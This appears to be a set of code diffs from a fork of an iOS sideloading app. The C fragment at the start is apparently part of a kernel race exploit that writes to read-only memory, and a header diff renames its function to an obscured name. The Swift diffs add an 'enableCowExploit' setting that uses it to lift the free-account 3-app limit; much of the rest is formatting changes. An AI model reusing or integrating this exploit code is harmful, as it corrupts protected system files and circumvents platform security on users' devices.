T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mutex_thingy);
/* start racing thread */
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
// T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->ob_sizing,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->ob_sizing);
/* map our read-only target memory right after */
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mutex_thingy);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
//c = RO mapping was modified
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mutex_thingy);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
ctx->vmaddress_zeroe = 0;
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
e2 = 0;
if (!is_still_equal) {
retval = true;
// fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->finished = true;
pthread_mutex_unlock(&ctx->mutex_thingy);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
//#if 0
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
// kern_success, kern_protection_failure, kern_other);
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
//#endif
return retval;
}

View File

@@ -1,4 +1,3 @@
#ifdef MDC
#pragma once
#include <stdlib.h>
#include <stdbool.h>
@@ -6,5 +5,4 @@
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
#endif /* MDC */
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);

View File

@@ -250,26 +250,26 @@ extension AppManager
.filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
.sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "")
var title: String = NSLocalizedString("Cannot Activate More than 3 Apps", comment: "")
let message: String
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
if app.appExtensions.isEmpty
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions. Please choose an app to deactivate.", comment: "")
}
else
{
title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "")
title = NSLocalizedString("Cannot Activate More than 3 Apps and App Extensions", comment: "")
let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
}
}
else
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps. Please choose an app to deactivate.", comment: "")
}
let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
@@ -876,9 +876,7 @@ private extension AppManager
if app.certificateSerialNumber != group.context.certificate?.serialNumber ||
uti != nil ||
app.needsResign ||
// We need to reinstall ourselves on refresh to ensure the new provisioning profile is used
app.bundleIdentifier == StoreApp.altstoreAppID
app.needsResign
{
// Resign app instead of just refreshing profiles because either:
// * Refreshing using different certificate

View File

@@ -6,13 +6,13 @@
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import MobileCoreServices
import Intents
import Combine
import Intents
import MobileCoreServices
import UIKit
import AltStoreCore
import AltSign
import AltStoreCore
import Roxas
import Nuke
@@ -151,8 +151,7 @@ final class MyAppsViewController: UICollectionViewController
}
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
{
}
{}
}
private extension MyAppsViewController
@@ -170,7 +169,7 @@ private extension MyAppsViewController
dynamicDataSource.numberOfSectionsHandler = { 1 }
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
dynamicDataSource.cellConfigurationHandler = { (cell, _, indexPath) in
dynamicDataSource.cellConfigurationHandler = { cell, _, _ in
let cell = cell as! NoUpdatesCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left
cell.layoutMargins.right = self.view.layoutMargins.right
@@ -193,7 +192,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in
dataSource.cellConfigurationHandler = { [weak self] cell, installedApp, _ in
guard let self = self else { return }
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
@@ -245,11 +244,12 @@ private extension MyAppsViewController
cell.setNeedsLayout()
}
dataSource.prefetchHandler = { (installedApp, indexPath, completionHandler) in
dataSource.prefetchHandler = { installedApp, _, completionHandler in
guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
return RSTAsyncBlockOperation() { (operation) in
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { (response, error) in
return RSTAsyncBlockOperation
{ operation in
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { response, error in
guard !operation.isCancelled else { return operation.finish() }
if let image = response?.image
@@ -263,7 +263,7 @@ private extension MyAppsViewController
})
}
}
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
dataSource.prefetchCompletionHandler = { cell, image, _, error in
let cell = cell as! UpdateCollectionViewCell
cell.bannerView.iconImageView.isIndicatingActivity = false
cell.bannerView.iconImageView.image = image
@@ -288,7 +288,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.cellIdentifierHandler = { _ in "AppCell" }
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
dataSource.cellConfigurationHandler = { cell, installedApp, indexPath in
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
let cell = cell as! InstalledAppCollectionViewCell
@@ -363,10 +363,13 @@ private extension MyAppsViewController
cell.bannerView.button.progress = nil
}
}
dataSource.prefetchHandler = { (item, indexPath, completion) in
RSTAsyncBlockOperation { (operation) in
item.managedObjectContext?.perform {
item.loadIcon { (result) in
dataSource.prefetchHandler = { item, _, completion in
RSTAsyncBlockOperation
{ _ in
item.managedObjectContext?.perform
{
item.loadIcon
{ result in
switch result
{
case .failure(let error): completion(nil, error)
@@ -376,7 +379,7 @@ private extension MyAppsViewController
}
}
}
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
let cell = cell as! InstalledAppCollectionViewCell
cell.bannerView.iconImageView.image = image
cell.bannerView.iconImageView.isIndicatingActivity = false
@@ -397,7 +400,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.cellIdentifierHandler = { _ in "AppCell" }
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
dataSource.cellConfigurationHandler = { cell, installedApp, _ in
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
let cell = cell as! InstalledAppCollectionViewCell
@@ -437,10 +440,13 @@ private extension MyAppsViewController
cell.bannerView.button.progress = nil
}
}
dataSource.prefetchHandler = { (item, indexPath, completion) in
RSTAsyncBlockOperation { (operation) in
item.managedObjectContext?.perform {
item.loadIcon { (result) in
dataSource.prefetchHandler = { item, _, completion in
RSTAsyncBlockOperation
{ _ in
item.managedObjectContext?.perform
{
item.loadIcon
{ result in
switch result
{
case .failure(let error): completion(nil, error)
@@ -450,7 +456,7 @@ private extension MyAppsViewController
}
}
}
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
let cell = cell as! InstalledAppCollectionViewCell
cell.bannerView.iconImageView.image = image
cell.bannerView.iconImageView.isIndicatingActivity = false
@@ -461,10 +467,7 @@ private extension MyAppsViewController
func updateDataSource()
{
self.dataSource.predicate = nil
self.dataSource.predicate = nil
}
}
@@ -485,15 +488,17 @@ private extension MyAppsViewController
if self.isViewLoaded
{
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
}
}
}
}
func fetchAppIDs()
{
AppManager.shared.fetchAppIDs { (result) in
AppManager.shared.fetchAppIDs
{ result in
do
{
let (_, context) = try result.get()
@@ -506,12 +511,14 @@ private extension MyAppsViewController
}
}
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String : Result<InstalledApp, Error>]) -> Void)
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String: Result<InstalledApp, Error>]) -> Void)
{
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
group.completionHandler = { (results) in
DispatchQueue.main.async {
let failures = results.compactMapValues { (result) -> Error? in
group.completionHandler = { results in
DispatchQueue.main.async
{
let failures = results.compactMapValues
{ result -> Error? in
switch result
{
case .failure(OperationError.cancelled): return nil
@@ -557,7 +564,8 @@ private extension MyAppsViewController
self.refreshGroup = group
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}
@@ -570,7 +578,6 @@ private extension MyAppsViewController
let visibleCells = self.collectionView.visibleCells
self.collectionView.performBatchUpdates({
self.isUpdateSectionCollapsed.toggle()
UIView.animate(withDuration: 0.3, animations: {
@@ -644,8 +651,10 @@ private extension MyAppsViewController
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
self.refresh(installedApps) { (result) in
DispatchQueue.main.async {
self.refresh(installedApps)
{ _ in
DispatchQueue.main.async
{
self.isRefreshingAllApps = false
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
@@ -654,7 +663,8 @@ private extension MyAppsViewController
if #available(iOS 14, *)
{
let interaction = INInteraction.refreshAllApps()
interaction.donate { (error) in
interaction.donate
{ error in
guard let error = error else { return }
print("Failed to donate intent \(interaction.intent).", error)
}
@@ -669,13 +679,17 @@ private extension MyAppsViewController
let installedApp = self.dataSource.item(at: indexPath)
let previousProgress = AppManager.shared.installationProgress(for: installedApp)
guard previousProgress == nil else {
guard previousProgress == nil
else
{
previousProgress?.cancel()
return
}
_ = AppManager.shared.update(installedApp, presentingViewController: self) { (result) in
DispatchQueue.main.async {
_ = AppManager.shared.update(installedApp, presentingViewController: self)
{ result in
DispatchQueue.main.async
{
switch result
{
case .failure(OperationError.cancelled):
@@ -727,11 +741,14 @@ private extension MyAppsViewController
{
var fileURL: URL?
var application: ALTApplication?
var installedApp: InstalledApp? {
didSet {
var installedApp: InstalledApp?
{
didSet
{
self.installedAppContext = self.installedApp?.managedObjectContext
}
}
private var installedAppContext: NSManagedObjectContext?
var error: Error?
@@ -753,8 +770,10 @@ private extension MyAppsViewController
else
{
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
downloadOperation = RSTAsyncBlockOperation { (operation) in
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in
downloadOperation = RSTAsyncBlockOperation
{ operation in
let downloadTask = URLSession.shared.downloadTask(with: url)
{ fileURL, response, error in
do
{
let (fileURL, _) = try Result((fileURL, response), error).get()
@@ -779,7 +798,8 @@ private extension MyAppsViewController
}
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
let unzipAppOperation = BlockOperation {
let unzipAppOperation = BlockOperation
{
do
{
if let error = context.error
@@ -788,7 +808,8 @@ private extension MyAppsViewController
}
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
defer {
defer
{
try? FileManager.default.removeItem(at: fileURL)
}
@@ -813,7 +834,8 @@ private extension MyAppsViewController
}
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
let removeAppExtensionsOperation = RSTAsyncBlockOperation
{ [weak self] operation in
do
{
if let error = context.error
@@ -823,8 +845,10 @@ private extension MyAppsViewController
guard let application = context.application else { throw OperationError.invalidParameters }
DispatchQueue.main.async {
self?.removeAppExtensions(from: application) { (result) in
DispatchQueue.main.async
{
self?.removeAppExtensions(from: application)
{ result in
switch result
{
case .success: removeAppExtensionsProgress.completedUnitCount = 1
@@ -844,7 +868,8 @@ private extension MyAppsViewController
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
let installAppOperation = RSTAsyncBlockOperation { (operation) in
let installAppOperation = RSTAsyncBlockOperation
{ operation in
do
{
if let error = context.error
@@ -854,7 +879,8 @@ private extension MyAppsViewController
guard let application = context.application else { throw OperationError.invalidParameters }
let group = AppManager.shared.install(application, presentingViewController: self) { (result) in
let group = AppManager.shared.install(application, presentingViewController: self)
{ result in
switch result
{
case .success(let installedApp): context.installedApp = installedApp
@@ -873,7 +899,8 @@ private extension MyAppsViewController
installAppOperation.completionBlock = {
try? FileManager.default.removeItem(at: temporaryDirectory)
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
self.sideloadingProgressView.observedProgress = nil
self.sideloadingProgressView.setHidden(true, animated: true)
@@ -883,12 +910,13 @@ private extension MyAppsViewController
case .success(let app):
completion(.success(()))
app.managedObjectContext?.perform {
app.managedObjectContext?.perform
{
print("Successfully installed app:", app.bundleIdentifier)
}
case .failure(OperationError.cancelled):
completion(.failure((OperationError.cancelled)))
completion(.failure(OperationError.cancelled))
case .failure(let error):
let toastView = ToastView(error: error)
@@ -930,15 +958,21 @@ private extension MyAppsViewController
@objc func presentInactiveAppsAlert()
{
let message: String
var message: String
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
if UserDefaults.standard.enableCowExploit
{
message += "\n\n"
message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
}
}
else
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "")
}
let alertController = UIAlertController(title: NSLocalizedString("What are inactive apps?", comment: ""), message: message, preferredStyle: .alert)
@@ -964,7 +998,7 @@ private extension MyAppsViewController
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions.", comment: "")
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions.", comment: "")
}
else
{
@@ -974,13 +1008,15 @@ private extension MyAppsViewController
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { _ in
completion(.failure(OperationError.cancelled))
}))
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default)
{ _ in
completion(.success(()))
})
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive)
{ _ in
do
{
for appExtension in application.appExtensions
@@ -1004,7 +1040,8 @@ private extension MyAppsViewController
{
func open(_ installedApp: InstalledApp)
{
UIApplication.shared.open(installedApp.openAppURL) { success in
UIApplication.shared.open(installedApp.openAppURL)
{ success in
guard !success else { return }
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
@@ -1015,16 +1052,20 @@ private extension MyAppsViewController
func refresh(_ installedApp: InstalledApp)
{
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
guard previousProgress == nil else {
guard previousProgress == nil
else
{
previousProgress?.cancel()
return
}
self.refresh([installedApp]) { (results) in
self.refresh([installedApp])
{ results in
// If an error occured, reload the section so the progress bar is no longer visible.
if results.values.contains(where: { $0.error != nil })
{
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}
@@ -1040,7 +1081,8 @@ private extension MyAppsViewController
do
{
let app = try result.get()
app.managedObjectContext?.perform {
app.managedObjectContext?.perform
{
try? app.managedObjectContext?.save()
}
}
@@ -1052,7 +1094,8 @@ private extension MyAppsViewController
{
print("Failed to activate app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
installedApp.isActive = false
let toastView = ToastView(error: error)
@@ -1073,11 +1116,13 @@ private extension MyAppsViewController
.filter(\.isActive)
.map { $0.publisher(for: \.isActive) }
.collect()
.flatMap { publishers in
.flatMap
{ publishers in
Publishers.MergeMany(publishers)
}
.first { isActive in !isActive }
.sink { _ in
.sink
{ _ in
// A previously active app is now inactive,
// which means there are now enough slots to activate the app,
// so pre-emptively mark it as active to provide visual feedback sooner.
@@ -1085,9 +1130,11 @@ private extension MyAppsViewController
cancellable?.cancel()
}
AppManager.shared.deactivateApps(for: app, presentingViewController: self) { result in
AppManager.shared.deactivateApps(for: app, presentingViewController: self)
{ result in
cancellable?.cancel()
installedApp.managedObjectContext?.perform {
installedApp.managedObjectContext?.perform
{
switch result
{
case .failure(let error):
@@ -1113,7 +1160,8 @@ private extension MyAppsViewController
guard installedApp.isActive else { return }
installedApp.isActive = false
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
AppManager.shared.deactivate(installedApp, presentingViewController: self)
{ result in
do
{
let app = try result.get()
@@ -1125,7 +1173,8 @@ private extension MyAppsViewController
{
print("Failed to activate app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
installedApp.isActive = true
let toastView = ToastView(error: error)
@@ -1153,13 +1202,15 @@ private extension MyAppsViewController
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { (action) in
AppManager.shared.remove(installedApp) { (result) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { _ in
AppManager.shared.remove(installedApp)
{ result in
switch result
{
case .success: break
case .failure(let error):
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
}
@@ -1179,8 +1230,9 @@ private extension MyAppsViewController
alertController.addAction(.cancel)
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { (action) in
AppManager.shared.backup(installedApp, presentingViewController: self) { (result) in
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { _ in
AppManager.shared.backup(installedApp, presentingViewController: self)
{ result in
do
{
let app = try result.get()
@@ -1192,7 +1244,8 @@ private extension MyAppsViewController
{
print("Failed to back up app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
@@ -1201,7 +1254,8 @@ private extension MyAppsViewController
}
}
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}))
@@ -1214,8 +1268,9 @@ private extension MyAppsViewController
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { (action) in
AppManager.shared.restore(installedApp, presentingViewController: self) { (result) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { _ in
AppManager.shared.restore(installedApp, presentingViewController: self)
{ result in
do
{
let app = try result.get()
@@ -1227,14 +1282,16 @@ private extension MyAppsViewController
{
print("Failed to restore app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
}
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue])
}
}))
@@ -1267,7 +1324,8 @@ private extension MyAppsViewController
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
DatabaseManager.shared.persistentContainer.performBackgroundTask
{ context in
do
{
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
@@ -1291,7 +1349,8 @@ private extension MyAppsViewController
if tempApp.isActive
{
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.refresh(installedApp)
}
}
@@ -1300,7 +1359,8 @@ private extension MyAppsViewController
{
print("Failed to change app icon.", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
}
@@ -1311,8 +1371,10 @@ private extension MyAppsViewController
@available(iOS 14, *)
func enableJIT(for installedApp: InstalledApp)
{
AppManager.shared.enableJIT(for: installedApp) { result in
DispatchQueue.main.async {
AppManager.shared.enableJIT(for: installedApp)
{ result in
DispatchQueue.main.async
{
switch result
{
case .success: break
@@ -1329,7 +1391,8 @@ private extension MyAppsViewController
{
@objc func didFetchSource(_ notification: Notification)
{
DispatchQueue.main.async {
DispatchQueue.main.async
{
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
{
do { try self.updatesDataSource.fetchedResultsController.performFetch() }
@@ -1347,7 +1410,8 @@ private extension MyAppsViewController
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
self.sideloadApp(at: url) { (result) in
self.sideloadApp(at: url)
{ _ in
guard url.isFileURL else { return }
do
@@ -1374,7 +1438,8 @@ extension MyAppsViewController
case .updates:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
headerView.button.setTitle("", for: .normal)
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
@@ -1400,7 +1465,8 @@ extension MyAppsViewController
case .activeApps where kind == UICollectionView.elementKindSectionHeader:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right
@@ -1438,7 +1504,8 @@ extension MyAppsViewController
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right
@@ -1507,50 +1574,61 @@ extension MyAppsViewController
{
var actions = [UIMenuElement]()
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app")) { (action) in
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app"))
{ _ in
self.open(installedApp)
}
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise")) { (action) in
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise"))
{ _ in
self.refresh(installedApp)
}
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle")) { (action) in
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle"))
{ _ in
self.activate(installedApp)
}
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive) { (action) in
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive)
{ _ in
self.deactivate(installedApp)
}
